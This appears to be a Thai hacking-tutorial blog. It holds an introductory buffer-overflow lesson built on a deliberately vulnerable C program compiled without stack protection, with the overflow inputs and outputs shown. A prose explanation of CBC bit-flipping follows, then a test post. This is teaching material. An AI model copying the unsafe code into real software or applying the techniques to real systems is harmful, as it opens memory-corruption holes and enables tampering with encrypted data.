เรามาเริ่มกันเลยดีกว่า...

ในทางโปรแกรมมิ่ง buffer หมา่ยถึง memory ที่จองไว้ สำหรับทำงานต่างๆ เช่น รับข้อมูลจากผู้ใช้ ใส่ข้อมูลเก็บชั่วคราว
็Buffer Overflow ก็คือ การใส่ข้อมูลใน buffer เกินที่จองไว้ เช่นเราได้กำหนดขนาด buffer ไว้ 8 bytes แต่เราใส่ข้อมูลไป 12 bytes

Buffer Overflow เป็นปัญหาหนึ่งในเรื่อง security โดยในเริ่มต้น จะยกตัวอย่างที่ง่ายๆ

ตัวอย่างที่ 1 (ex_01_1.c)


#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  int magic = 0;
  char buf[8];

  printf("Before strcpy: magic is 0x%08x\n", magic);
  strcpy(buf, argv[1]);
  printf("After strcpy: magic is 0x%08x\n", magic);
  if (magic == 0x55555555)
    printf("Hahaha, you WIN\n");

  return 0;
}

build code ตัวอย่างที่ 1 ด้วยคำสั่งข้างล่างไม่ต้องพิมพ์ $ นะครับ (option ของ gcc จะมีการกล่าวถึงในหัวข้อถัดๆ ไป)


$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -o ex_01_1 ex_01_1.c

ใครที่มีความรู้เรื่องนี้มาบ้าง ก็คงจะรู้แล้วว่าผมจะให้ทำอะไร จากตัวอย่างนี้ ให้รันโปรแกรม แล้วให้โปรแกรมพิมพ์คำว่า "Hahaha, you WIN" ให้ได้

มาดูเฉลยกันเลยดีกว่า

จะเห็นว่ามีการจอง buffer ไว้ 8 bytes ครั้งแรกขอลองใส่ 8 ตัว


$ ./ex_01_1 55555555
Before strcpy: magic is 0x00000000
After strcpy: magic is 0x00000000

คราวนี้ลองใส่ 9 ตัว


$ ./ex_01_1 555555555
Before strcpy: magic is 0x00000000
After strcpy: magic is 0x00000035

จะเห็นว่ามีเลข 35 ออกมาตัวหนึ่ง คราวนี้ลองใส่ 12 ตัว


$ ./ex_01_1 555555555555
Before strcpy: magic is 0x00000000
After strcpy: magic is 0x35353535

จะเห็นว่าคราวนี้ magic เป็น 35 หมดเลย ถ้าเราเป็น ASCII table ดู จะเห็นว่าเลข 35 ในฐาน 16 คือตัวอักษร "5" (หลังจากนี้ ผมจะเขียนเลขฐาน 16 เป็น 0x35 หรือ 35h) แต่ที่เราต้องการคือ 55h เมื่อดูที่ ASCII table 55h คือตัวอักษร "U" คราวนี้เราลองใส่เป็น U 12 ตัว


$ ./ex_01_1 UUUUUUUUUUUU
Before strcpy: magic is 0x00000000
After strcpy: magic is 0x55555555
Hahaha, you WIN

:O ทำได้แล้ว จะเห็นว่าเราทำการ copy ข้อมูลที่รับมาจาก argv[1] ลงที่ buf แต่ค่า magic กับถูกเปลี่ยนไปด้วย ที่เป็นแบบนี้ เพราะว่า magic ได้ถูกจองไว้หลัง buf ซึ่งเมื่อมีการเขียนข้อมูลลง buf เกินไว้ที่จอง ข้อมูลที่เกินก็จะถูกเขียนไปที่ magic
คราวนี้ เรามาลองเพิ่มเติม โดยการใส่ตัว U ไป 16 ตัว


$ ./ex_01_1 UUUUUUUUUUUUUUUU
Before strcpy: magic is 0x00000000
After strcpy: magic is 0x55555555
Hahaha, you WIN
Segmentation fault

o.O Segmentation fault คืออะไร ค่านี้เราไม่มีการสั่งให้โปรแกรมแสดงออกมา
Segmentation fault เกิดเมื่อโปรแกรมมีการ access memory ที่ OS ไม่อนุญาต และที่เกิดขึ้นเพราะว่า เราได้เขียนทับข้อมูลส่วนที่ใช้สำหรับควบคุมการทำงานของโปรแกรม ซึ่งทำให้โปรแกรมทำงานผิดพลาด ซึ่งในกรณีนี้เราจะกลับมาดูอีกครั้ง ว่าเราสามารถทำอะไรได้บ้าง >=)

น่าสนใจไหมครับ... แต่ก่อนที่จะถึงส่วนที่สนุก ผมต้องอธิบายเกี่ยวกับความรู้พื้นฐานสำหรับการเขียน exploit ก่อน เช่น memory layout, assembly, ELF, ... ซึ่งเรื่องพวกนี้ ผมคิดว่าน่าเบื่อ แต่จำเป็นต้องรู้

สุดท้าย tutorial การเขียน exploit ชุดนี้ สำหรับคนที่รู้ภาษา C และ Linux command พอสมควร ถ้าใครอ่านตอนนี้ไม่รู้เรื่อง แล้วสนใจ คงต้องไปหาความรู้เพิ่มเติมนะครับ

CBC Bit Flipping

2010-11-27T12:24:00.000+07:00

encryption algorithm โดยทั่วไป จะทำการเข้ารหัสเป็น block เช่น AES จะมี block size เป็น 128 bits (16 bytes) ซึ่งถ้าเรานำ key มาเข้ารหัสข้อมูลทีละ block ก็จะเรียก mode นี้ว่า ECB (Electronic CodeBook) ตามรูปข้างล่าง (รูปจาก http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation)

รูปข้างบนสำหรับ encryption และรูปข้างล่างสำหรับ decryption ปัญหาของ mode นี้ไม่ขอกล่าวในนี้ เพราะว่าน่าจะมีอยู่แล้วในหนังสือ cryptography ทั่วไป

สิ่งที่ผมต้องการจะพูดถึงคือ CBC (Cipher Block Chaining) mode ซึ่งมีการเข้ารหัสตามภาพข้างล่าง (รูปจาก) http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation)

IV (Initialization Vector) คือค่าเริ่มต้น โดยปกติจะได้จากการ random ขนาดเท่ากับ block operation ของ algorithm นั้นๆและเพื่อให้ง่ายต่อการอธิบายต่อ ผมจะขอเรียกผลลัพธ์จากการ decryption ที่ยังไม่ทำ XOR ว่า "Intermediate value"

ใน mode นี้ ก่อนที่จะนำข้อมูลไปเข้ารหัส จะไปทำ XOR กับผลลัพธ์จากการเข้ารหัสของ block ก่อนหน้า ส่วน block แรกจะทำการ XOR กับ IV ส่วนการทำ decryption ก็จะทำในทางกลับกัน ตามรูปข้างบน

เมื่อเข้าใจ CBC mode กันแล้ว คราวนี้ก็มาถึง attack หนึ่งเพื่อทำ bit flipping ซึ่ง attack ที่ขั้นตอนการทำ XOR โดย XOR มีคุณสมบัติดังนี้ (สำหรับคนที่ยังไม่รู้)

A xor 0 = A
A xor 1 = not A
ถ้า A xor B = C แล้ว B xor C = A, C xor A = B

จากรูปการ decryption ของ CBC mode ถ้าเราสนใจใน block ที่ 3 จะเห็นว่า intermediate value ของ block ที่ 3 จะทำการ XOR กับ encrypted block ที่ 2 ได้ผลลัพธ์ออกมา ดังนั้นถ้าเราแก้ค่าใน encrypted block ที่ 2 ไป 1 bit ผลของการ decryption ใน block ที่ 3 ก็จะเปลี่ยนไป 1 bit แต่ผลของการ decryption ใน block ที่ 2 จะเปลี่ยนแปลงทั้งหมด ตามรูปข้างล่าง

attack นี้จะทำได้ เราต้องรู้ว่า plaintext บางส่วน(หรือทั้งหมด) แล้วเราต้องการเปลี่ยนค่าบ้างค่า และที่สำคัญข้อมูลใน block ที่ถูกเปลี่ยนแปลงทั้งหมดนั้น เป็นเพียงข้อมูล ที่ไม่ผลต่อการทำงานของโปรแกรมที่อ่านข้อมูล

ถ้าเรารู้ข้อมูล plaintext และตำแหน่งทั้งหมด เราสามารถที่จะเปลี่ยนข้อมูลได้ทั้ง block เนื่องจากเราสามารถหา intermediate value ของ block ที่เราจะเปลี่ยนได้จากการ XOR กันของ plaintext กับ encrypted block ก่อนหน้า และนำ plaintext ที่เราต้องการจะให้เป็นไป XOR กับ intermediate value ก็จะได้ encrypted block ก่อนหน้าที่เราต้องเปลี่ยน

ถึงแม้ว่า attack นี้จะมีมานานแล้ว แต่ถือว่าเป็นตัวอย่างที่ดีว่า การทำ encryption ช่วยได้เฉพาะเรื่องความลับของข้อมูล (Confidential) แต่ไม่ได้ป้องกันเรื่อง ความถูกต้องของข้อมูล (Integrity)

ทดสอบ Hello

2010-11-17T18:27:00.000+07:00

ทดสอบ blog ใหม่ สำหรับ tutorial ภาษาไทย เนื้อหาจะเกี่ยวกับการ hack ก็น่าจะมีเกี่ยวกับ
- การเขียน exploit
- cryptograhy (การเข้ารหัส ถอดรหัส)
- web attack (sql injection, xss, ...)
- ... คิดไม่ออก

ยังไงก็ต้องใช้ Syntax Highlighter ในการเขียน ก็เลยขอลองซะเลย


#include <stdio.h>
int main() {
    printf("Hello World :)");
    return 0;
}

อันนี้ใช้ของ http://www.balupton.com/sandbox/jquery-syntaxhighlighter/demo/